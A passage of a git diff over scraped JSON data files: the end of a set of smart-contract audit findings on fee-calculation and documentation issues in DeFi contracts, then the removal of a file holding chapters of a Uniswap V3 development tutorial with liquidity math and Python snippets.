seen in the earlier transition graph, Buer is allowed to initiate aZil.CompleteWithdrawalSuccessCallBack but never will. Holder is allowed to initiate aZil.DelegateStakeSuccessCallBack but never will.", "labels": ["Dedaub", "Avely", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", "body": "tokens conversion Status Resolved In the following code snippet taken from arShield::liqAmts amounts ethOwed and tokensOwed are supposed to represent equal value. ethOwed = covBases[_covId].getShieldOwed( address(this) ); if (ethOwed > 0) tokensOwed = oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink); tokenFees = feesToLiq[_covId]; tokensOwed += tokenFees; require(tokensOwed > 0, \"No fees are owed.\"); uint256 ethFees = ethOwed > 0 ? ethOwed * tokenFees / tokensOwed : getEthValue(tokenFees); ethOwed += ethFees; However, code line tokensOwed += tokenFees; is misplaced resulting in an underpriced ethFees computation. We suggest that it be altered as follows: ethOwed = covBases[_covId].getShieldOwed( address(this) ); if (ethOwed > 0) tokensOwed = oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink); tokenFees = feesToLiq[_covId]; require(tokensOwed + tokenFees > 0, \"No fees are owed.\"); 5 uint256 ethFees = ethOwed > 0 ? ethOwed * tokenFees / tokensOwed : getEthValue(tokenFees); ethOwed += ethFees; tokensOwed += tokenFees; for accuracy. H2 Duplicate subtraction of fees amount Resolved In arShield::payAmts the new ethValue is calculated as follows: // Ether value of all of the contract minus what we're liquidating. ethValue = (pToken.balanceOf( address(this) ) // Dedaub: _tokenFees amount is subtracted twice - _tokenFees - totalFeeAmts()) * _ethOwed / _tokensOwed totalFeeAmounts() also considers all liquidation fees, resulting in _tokenFees being subtracted twice. This can cause important harm to the protocol, as the total value of coverage purchased is underestimated. 6 Medium Severity ", "labels": ["Dedaub", "Armor arShield", "Severity: High"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", "body": "variable name We suggest that variable totalCost Status Resolved // Current cost per second for all Ether on contract. uint256 public totalCost; is renamed to totalCostPerSec for clarity.", "labels": ["Dedaub", "Armor arShield", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", "body": "version of SafeMath library Resolved The code of the SafeMath library included is of an old version of compiler (< 0.8.0) being set to pragma solidity 0.8.4. However, compiler versions of 0.8.* revert on overow or underow, so this library has no effect. We suggest ArmorCore.sol not use this library and substitute SafeMath operations to normal ones, as well as SafeMath.sol contract be completely removed.", "labels": ["Dedaub", "Armor arShield", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", "body": "comment Resolved In arShield.sol function confirmHack has a misleading @dev comment: /** * Dedaub: used by governor, not controller * @dev Used by controller to confirm that a hack happened, which then locks the contract in anticipation of claims. **/ function confirmHack( uint256 _payoutBlock, uint256 _payoutAmt ) external isLocked onlyGov 9 A4 Extra protection of refunds in arShield Resolved Function CoverageBase::DisburseClaim is called by governance and transfers ETH amount to a selected _arShield, that is supposed to be used for claim refunds. /** * @dev Governance may disburse funds from a claim to the chosen shields. * @param _shield Address of the shield to disburse funds to. * @param _amount Amount of funds to disburse to the shield. **/ function disburseClaim( address payable _shield, uint256 _amount ) { external onlyGov require(shieldStats[_shield].lastUpdate > 0, \"Shield is not authorized to use this contract.\"); _shield.transfer(_amount); } We suggest that an extra requirement be added, checking that _shield is locked. In the opposite case the ETH amount transferred to the arShield contract as refunds can be immediately transferred to the beneciary. arShields contract locking/unlocking and disburseClaim() are all government-only actions, however this suggestion ensures security in case of false ordering of the governance transactions. 10", "labels": ["Dedaub", "Armor arShield", "Severity: Informational"]}] \ No newline at end of file diff --git a/results/gitbook_docs.json b/results/gitbook_docs.json index dd34376..080fff8 100644 --- a/results/gitbook_docs.json +++ b/results/gitbook_docs.json @@ -1,2242 +1 @@ -[ - { - "title": "First Swap #", - "html_url": "https://uniswapv3book.com/docs/milestone_1/introduction/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction First Swap First Swap # In this milestone, well build a pool contract that can receive liquidity from users and make swaps within a price range. To keep it as simple as possible, well provide liquidity only in one price range and well allow to make swaps only in one direction. Also, well calculate all the required math manually to get better intuition before starting using mathematical libs in Solidity. Lets model the situation well build: There will be an ETH/USDC pool contract. ETH will be the $x$ reserve, USDC will be the $y$ reserve. Well set the current price to 5000 USDC per 1 ETH. The range well provide liquidity into is 4545-5500 USDC per 1 ETH. Well buy some ETH from the pool. At this point, since we have only one price range, we want the price of the trade to stay within the price range. Visually, this model looks like this: Before getting to code, lets figure out the math and calculate all the parameters of the model. To keep things simple, Ill do math calculations in Python before implementing them in Solidity. This will allow us to focus on the math without diving into the nuances of math in Solidity. This also means that, in smart contracts, well hardcode all the amounts. This will allow us to start with a simple minimal viable product. For your convenience, I put all the Python calculations in unimath.py . Youll find the complete code of this milestone in this Github branch . If you have any questions feel free asking them in the GitHub Discussion of this milestone ! \\[ \\] First Swap", - "labels": [ - "Documentation" - ] - }, - { - "title": "Second Swap #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/introduction/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Second Swap Second Swap # Alright, this is where it gets real. So far, our implementation has been looking too synthetic and static. We have calculated and hard coded all the amounts to make the learning curve less steep, and now were ready to make it dynamic. Were going to implement the second swap, that is a swap in the opposite direction: sell ETH to buy USDC. To do this, were going to improve our smart contracts significantly: We need to implement math calculations in Solidity. However, since implementing math in Solidity is tricky due to Solidity supporting only integer division, well use third-party libraries. Well need to let users choose swap direction, and the pool contract will need to support swapping in both directions. Well improve the contract and will bring it closer to multi-range swaps, which well implement in the next milestone. Finally, well update the UI to support swaps in both directions AND output amount calculation! This will require us implementing another contract, Quoter. In the end of this milestone, well have an app that works almost like a real DEX! Lets begin! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Second Swap", - "labels": [ - "Documentation" - ] - }, - { - "title": "Cross-tick Swaps #", - "html_url": "https://uniswapv3book.com/docs/milestone_3/introduction/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Cross-tick Swaps Cross-tick Swaps # We have made a great progress so far and our Uniswap V3 implementation is quite close to the original one! However, our implementation only supports swaps within a price rangeand this is what were going to improve in this milestone. In this milestone, well: update mint function to provide liquidity in different price ranges; update swap function to cross price ranges when theres not enough liquidity in the current price range; learn how to calculate liquidity in smart contracts; implement slippage protection in mint and swap functions; update the UI application to allow to add liquidity at different price ranges; learn a little bit more about fixed-point numbers. In this milestone, well complete swapping, the core functionality of Uniswap! Lets begin! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Cross-tick Swaps", - "labels": [ - "Documentation" - ] - }, - { - "title": "Multi-pool Swaps #", - "html_url": "https://uniswapv3book.com/docs/milestone_4/introduction/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Multi-pool Swaps Multi-pool Swaps # After implementing cross-tick swaps, weve got really close to real Uniswap V3 swaps. One significant limitation of our implementation is that it allows only swaps within a poolif theres no pool for a pair of tokens, then swapping between these tokens is not possible. This is not so in Uniswap since it allows multi-pool swaps. In this chapter, were going to add multi-pool swaps to our implementation. Heres the plan: first, well learn about and implement Factory contract; then, well see how chained or multi-pool swaps work and implement Path library; then, well update the front-end app to support multi-pool swaps; well implement a basic router that finds a path between two tokens; along the way, well also learn about tick spacing which is a way of optimizing swaps. After finishing this chapter, our implementation will be able to handle multi-pool swaps, for example, swapping WBTC for WETH via different stablecoins: WETH USDC USDT WBTC. Lets begin! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Multi-pool Swaps", - "labels": [ - "Documentation" - ] - }, - { - "title": "Fees and Price Oracle #", - "html_url": "https://uniswapv3book.com/docs/milestone_5/introduction/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Fees and Price Oracle Fees and Price Oracle # In this milestone, were going to add two new features to our Uniswap implementation. They share one similarity: they work on top of what we have already builtthats why weve delayed them until this milestone. However, theyre not equally important. Were going to add swap fees and a price oracle: Swap fees is a crucial mechanism of the DEX design were implementing. Theyre the glue that makes things stick together. Swap fees incentivize liquidity providers to provide liquidity, and no trades are possible without liquidity, as we have already learned. A price oracle, on the other hand, is an optional utility function of a DEX. A DEX, while conducting trades, can also function as a price oraclethat is, provide token prices to other services. This doesnt affect actual swaps but provides a useful service to other on-chain applications. Alright, lets get building! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Fees and Price Oracle", - "labels": [ - "Documentation" - ] - }, - { - "title": "NFT Positions #", - "html_url": "https://uniswapv3book.com/docs/milestone_6/introduction/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction NFT Positions NFT Positions # This is the cherry on the cake of this book. In this milestone, were going to learn how Uniswap contract can be extended and integrated into third-party protocols. This possibility is a direct consequence of having core contracts with only crucial functions, which allows to integrate them into other contracts without the need of adding new features to core contracts. A bonus feature of Uniswap V3 was the ability to turn liquidity positions into NFT tokens. Heres an example of one such NFT tokens: It shows token symbols, pool fee, position ID, lower and upper ticks, token addresses, and the segment of the curve the position is provided at. You can see all Uniswap V3 NFT positions in this OpenSea collection . In this milestone, were going to add NFT-tokenization of liquidity positions! Lets go! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! \\[ \\] NFT Positions", - "labels": [ - "Documentation" - ] - }, - { - "title": "Introduction to markets #", - "html_url": "https://uniswapv3book.com/docs/introduction/introduction-to-markets/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction to Markets Introduction to markets How centralized exchanges work How decentralized exchanges work Automated Market Makers What is an AMM? Introduction to markets # How centralized exchanges work # In this book, well build a decentralized exchange (DEX) that will run on Ethereum. Therere multiple approaches to how an exchange can be designed. All centralized exchanges have an order book at their core. An order book is just a journal that stores all sell and buy orders that traders want to make. Each order in this book contains a price the order must be executed at and the amount that must be bought or sold. For trading to happen, there must exist liquidity , which is simply the availability of assets on a market. If you want to buy a wardrobe but no one is selling one, theres no liquidity. If you want to sell a wardrobe but no one wants to buy it, theres liquidity but no buyers. If theres no liquidity, theres nothing to buy or sell. On centralized exchanges, the order book is where liquidity is accumulated. If someone places a sell order, they provide liquidity to the market. If someone places a buy order, they expected the market to have liquidity, otherwise, no trade is possible. When theres no liquidity, but markets are still interested in trades, market makers come into play. A market maker is a firm or an individual who provides liquidity to markets, that is someone who has a lot of money and who buys different assets to sell them on exchanges. For this job market makers are paid by exchanges. Market makers make money on providing liquidity to exchanges . How decentralized exchanges work # Dont be surprised, decentralized exchanges also need liquidity. And they also need someone who provides it to traders of a wide variety of assets. However, this process cannot be handled in a centralized way. A decentralized solution must be found. There are multiple decentralized solutions and some of them are implemented differently. Our focus will be on how Uniswap solves this problem. Automated Market Makers # The evolution of on-chain markets brought us to the idea of Automated Market Makers (AMM). As the name implies, this algorithm works exactly like market makers but in an automated way. Moreover, its decentralized and permissionless, that is: its not governed by a single entity; all assets are not stored in one place; anyone can use it from anywhere. What is an AMM? # An AMM is a set of smart contracts that define how liquidity is managed. Each trading pair (e.g. ETH/USDC) is a separate contract that stores both ETH and USDC and thats programmed to mediate trades: exchanging ETH for USDC and vice versa. The core idea is pooling : each contract is a pool that stores liquidity lets different users (including other smart contract) to trade in a permissioned way. There are two roles, liquidity providers and traders, and these roles interact with each other through pools of liquidity, and the way they can interact with pools is programmed and immutable. What makes this approach different from centralized exchanges is that the smart contracts are fully automated and not managed by anyone . There are no managers, admins, privileged users, etc. There are only liquidity providers and traders (they can be the same people), and all the algorithms are programmed, immutable, and public. Lets now look closer at how Uniswap implements an AMM. Please note that I use pool and pair terms interchangeably throughout the book because a Uniswap pool is a pair of two tokens. If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Introduction to markets How centralized exchanges work How decentralized exchanges work Automated Market Makers What is an AMM?", - "labels": [ - "Documentation" - ] - }, - { - "title": "Calculating liquidity #", - "html_url": "https://uniswapv3book.com/docs/milestone_1/calculating-liquidity/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Calculating Liquidity Calculating liquidity Price Range Calculation Token Amounts Calculation Liquidity Amount Calculation Token Amounts Calculation, Again Calculating liquidity # Trading is not possible without liquidity, and to make our first swap we need to put some liquidity into the pool contract. Heres what we need to know to add liquidity to the pool contract: A price range. As a liquidity provider, we want to provide liquidity at a specific price range, and itll only be used in this range. Amount of liquidity, which is the amounts of two tokens. Well need to transfer these amounts to the pool contract. Here, were going to calculate these manually, but, in a later chapter, a contract will do this for us. Lets begin with a price range. Price Range Calculation # Recall that, in Uniswap V3, the entire price range is demarcated into ticks: each tick corresponds to a price and has an index. In our first pool implementation, were going to buy ETH for USDC at the price of $5000 per 1 ETH. Buying ETH will remove some amount of it from the pool and will push the price slightly above $5000 . We want to provide liquidity at a range that includes this price. And we want to be sure that the final price will stay within this range (well do multi-range swaps in a later milestone). Well need to find three ticks: The current tick will correspond to the current price (5000 USDC for 1 ETH). The lower and upper bounds of the price range were providing liquidity into. Let the lower price be $4545 and the upper price be $5500 . From the theoretical introduction we know that: $$\\sqrt{P} = \\sqrt{\\frac{y}{x}}$$ Since weve agreed to use ETH as the $x$ reserve and USDC as the $y$ reserve, the prices at each of the ticks are: $$\\sqrt{P_c} = \\sqrt{\\frac{5000}{1}} = \\sqrt{5000} \\approx 70.71$$ $$\\sqrt{P_l} = \\sqrt{\\frac{4545}{1}} \\approx 67.42$$ $$\\sqrt{P_u} = \\sqrt{\\frac{5500}{1}} \\approx 74.16$$ Where $P_c$ is the current price, $P_l$ is the lower bound of the range, $P_u$ is the upper bound of the range. Now, we can find corresponding ticks. We know that prices and ticks are connected via this formula: $$\\sqrt{P(i)}=1.0001^{\\frac{i}{2}}$$ Thus, we can find tick $i$ via: $$i = log_{\\sqrt{1.0001}} \\sqrt{P(i)}$$ The square roots in this formula cancel out, but since were working with $\\sqrt{p}$ we need to preserve them. Lets find the ticks: Current tick: $i_c = log_{\\sqrt{1.0001}} 70.71 = 85176$ Lower tick: $i_l = log_{\\sqrt{1.0001}} 67.42 = 84222$ Upper tick: $i_u = log_{\\sqrt{1.0001}} 74.16 = 86129$ To calculate these, I used Python: import math def price_to_tick (p): return math . floor(math . log(p, 1.0001 )) price_to_tick( 5000 ) > 85176 Thats it for price range calculation! Last thing to note here is that Uniswap uses Q64.96 number to store $\\sqrt{P}$. This is a fixed point number that has 64 bits for the integer part and 96 bits for the fractional part. In our above calculations, prices are floating point numbers: 70.71 , 67.42 , 74.16 . We need to convert them to Q64.96. Luckily, this is simple: we need to multiply the numbers by $2^{96}$ (Q-number is a binary fixed point number, so we need to multiply our decimals numbers by the base of Q64.96, which is $2^{96}$). Well get: $$\\sqrt{P_c} = 5602277097478614198912276234240$$ $$\\sqrt{P_l} = 5314786713428871004159001755648$$ $$\\sqrt{P_u} = 5875717789736564987741329162240$$ In Python: q96 = 2 ** 96 def price_to_sqrtp (p): return int(math . sqrt(p) * q96) price_to_sqrtp( 5000 ) > 5602277097478614198912276234240 Notice that were multiplying before converting to integer. Otherwise, well lose precision. Token Amounts Calculation # Next step is to decide how many tokens we want to deposit into the pool. The answer is: as many as we want. The amounts are not strictly defined, we can deposit as much as it is enough to buy a small amount of ETH without making the current price leave the price range we put liquidity into. During development and testing well be able to mint any amount of tokens, so getting the amounts we want is not a problem. For our first swap, lets deposit 1 ETH and 5000 USDC. Recall that the proportion of current pool reserves tells the current spot price. So if we want to put more tokens into the pool and keep the same price, the amounts must be proportional, e.g.: 2 ETH and 10,000 USDC; 10 ETH and 50,000 USDC, etc. Liquidity Amount Calculation # Next, we need to calculate $L$ based on the amounts well deposit. This is a tricky part, so hold tight! From the theoretical introduction, you remember that: $$L = \\sqrt{xy}$$ However, this formula is for the infinite curve But we want to put liquidity into a limited price range, which is just a segment of that infinite curve. We need to calculate $L$ specifically for the price range were going to deposit liquidity into. We need some more advanced calculations. To calculate $L$ for a price range, lets look at one interesting fact we have discussed earlier: price ranges can be depleted. Its absolutely possible to buy the entire amount of one token from a price range and leave the pool with only the other token. At the points $a$ and $b$, theres only one token in the range: ETH at the point $a$ and USDC at the point $b$. That being said, we want to find an $L$ that will allow the price to move to either of the points. We want enough liquidity for the price to reach either of the boundaries of a price range. Thus, we want $L$ to be calculated based on the maximum amounts of $\\Delta x$ and $\\Delta y$. Now, lets see what the prices are at the edges. When ETH is bought from a pool, the price is growing; when USDC is bought, the price is falling. Recall that the price is $\\frac{y}{x}$. So, at the point $a$, the price is lowest of the range; at the point $b$, the price is highest. In fact, prices are not defined at these points because theres only one reserve in the pool, but what we need to understand here is that the price around the point $b$ is higher than the start price, and the price at the point $a$ is lower than the start price. Now, break the curve from the image above into two segments: one to the left of the start point and one to the right of the start point. Were going to calculate two $L$s, one for each of the segments. Why? Because each of the two tokens of a pool contributes to either of the segments : the left segment is made entirely of token $x$, the right segment is made entirely of token $y$. This comes from the fact that, during swapping, the price moves in either direction: its either growing or falling. For the price to move, only either of the tokens is needed: when the price is growing, only token $x$ is needed for the swap (were buying token $x$, so we want to take only token $x$ from the pool); when the price is falling, only token $y$ is needed for the swap. Thus, the liquidity in the segment of the curve to the left of the current price consists only of token $x$ and is calculated only from the amount of token $x$ provided. And, similarly, the liquidity in the segment of the curve to the right of the current price consists only of token $y$ and is calculated only from the amount of token $y$ provided. This is why, when providing liquidity, we calculate two $L$s and pick one of them. Which one? The smaller one. Why? Because the bigger one already includes the smaller one! We want the new liquidity to be distributed evenly along the curve, thus we want to add the same $L$ to the left and to the right of the current price. If we pick the bigger one, the user would need to provide more liquidity to compensate the shortage in the smaller one. This is doable, of course, but this would make the smart contract more complex. What happens with the remainder of the bigger $L$? Well, nothing. After picking the smaller $L$ we can simply convert it to a smaller amount of the token that resulted in the bigger $L$this will adjust it down. After that, well have token amounts that will result in the same $L$. And the final detail I need to focus your attention on here is: new liquidity must not change the current price . That is, it must be proportional to the current proportion of the reserves. And this is why the two $L$s can be differentwhen the proportion is not preserved. And we pick the small $L$ to reestablish the proportion. I hope this will make more sense after we implement this in code! Now, lets look at the formulas. Lets recall how $\\Delta x$ and $\\Delta y$ are calculated: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}} L$$ $$\\Delta y = \\Delta \\sqrt{P} L$$ We can expands these formulas by replacing the delta Ps with actual prices (we know them from the above): $$\\Delta x = (\\frac{1}{\\sqrt{P_c}} - \\frac{1}{\\sqrt{P_b}}) L$$ $$\\Delta y = (\\sqrt{P_c} - \\sqrt{P_a}) L$$ $P_a$ is the price at the point $a$, $P_b$ is the price at the point $b$, and $P_c$ is the current price (see the above chart). Notice that, since the price is calculated as $\\frac{y}{x}$ (i.e. its the price of $x$ in terms of $y$), the price at point $b$ is higher than the current price and the price at $a$. The price at $a$ is the lowest of the three. Lets find the $L$ from the first formula: $$\\Delta x = (\\frac{1}{\\sqrt{P_c}} - \\frac{1}{\\sqrt{P_b}}) L$$ $$\\Delta x = \\frac{L}{\\sqrt{P_c}} - \\frac{L}{\\sqrt{P_b}}$$ $$\\Delta x = \\frac{L(\\sqrt{P_b} - \\sqrt{P_c})}{\\sqrt{P_b} \\sqrt{P_c}}$$ $$L = \\Delta x \\frac{\\sqrt{P_b} \\sqrt{P_c}}{\\sqrt{P_b} - \\sqrt{P_c}}$$ And from the second formula: $$\\Delta y = (\\sqrt{P_c} - \\sqrt{P_a}) L$$ $$L = \\frac{\\Delta y}{\\sqrt{P_c} - \\sqrt{P_a}}$$ So, these are our two $L$s, one for each of the segments: $$L = \\Delta x \\frac{\\sqrt{P_b} \\sqrt{P_c}}{\\sqrt{P_b} - \\sqrt{P_c}}$$ $$L = \\frac{\\Delta y}{\\sqrt{P_c} - \\sqrt{P_a}}$$ Now, lets plug the prices we calculated earlier into them: $$L = \\Delta x \\frac{\\sqrt{P_b}\\sqrt{P_c}}{\\sqrt{P_b}-\\sqrt{P_c}} = 1 ETH * \\frac{5875 * 5602}{5875 - 5602}$$ After converting to Q64.96, we get: $$L = 1519437308014769733632$$ And for the other $L$: $$L = \\frac{\\Delta y}{\\sqrt{P_c}-\\sqrt{P_a}} = \\frac{5000USDC}{5602 - 5314}$$ $$L = 1517882343751509868544$$ Of these two, well pick the smaller one. In Python: sqrtp_low = price_to_sqrtp( 4545 ) sqrtp_cur = price_to_sqrtp( 5000 ) sqrtp_upp = price_to_sqrtp( 5500 ) def liquidity0 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return (amount * (pa * pb) / q96) / (pb - pa) def liquidity1 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return amount * q96 / (pb - pa) eth = 10 ** 18 amount_eth = 1 * eth amount_usdc = 5000 * eth liq0 = liquidity0(amount_eth, sqrtp_cur, sqrtp_upp) liq1 = liquidity1(amount_usdc, sqrtp_cur, sqrtp_low) liq = int(min(liq0, liq1)) > 1517882343751509868544 Token Amounts Calculation, Again # Since we choose the amounts were going to deposit, the amounts can be wrong. We cannot deposit any amounts at any price ranges; liquidity amount needs to be distributed evenly along the curve of the price range were depositing into. Thus, even though users choose amounts, the contract needs to re-calculate them, and actual amounts will be slightly different (at least because of rounding). Luckily, we already know the formulas: $$\\Delta x = \\frac{L(\\sqrt{P_b} - \\sqrt{P_c})}{\\sqrt{P_b} \\sqrt{P_c}}$$ $$\\Delta y = L(\\sqrt{P_c} - \\sqrt{P_a})$$ In Python: def calc_amount0 (liq, pa, pb): if pa > pb: pa, pb = pb, pa return int(liq * q96 * (pb - pa) / pa / pb) def calc_amount1 (liq, pa, pb): if pa > pb: pa, pb = pb, pa return int(liq * (pb - pa) / q96) amount0 = calc_amount0(liq, sqrtp_upp, sqrtp_cur) amount1 = calc_amount1(liq, sqrtp_low, sqrtp_cur) (amount0, amount1) > ( 998976618347425408 , 5000000000000000000000 ) As you can see, the number are close to the amounts we want to provide, but ETH is slightly smaller. Hint : use cast --from-wei AMOUNT to convert from wei to ether, e.g.: cast --from-wei 998976618347425280 will give you 0.998976618347425280 . \\[ \\] Calculating liquidity Price Range Calculation Token Amounts Calculation Liquidity Amount Calculation Token Amounts Calculation, Again", - "labels": [ - "Documentation" - ] - }, - { - "title": "Constant Function Market Makers #", - "html_url": "https://uniswapv3book.com/docs/introduction/constant-function-market-maker/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Constant Function Market Makers Constant Function Market Makers The trade function Pricing The Curve Constant Function Market Makers # This 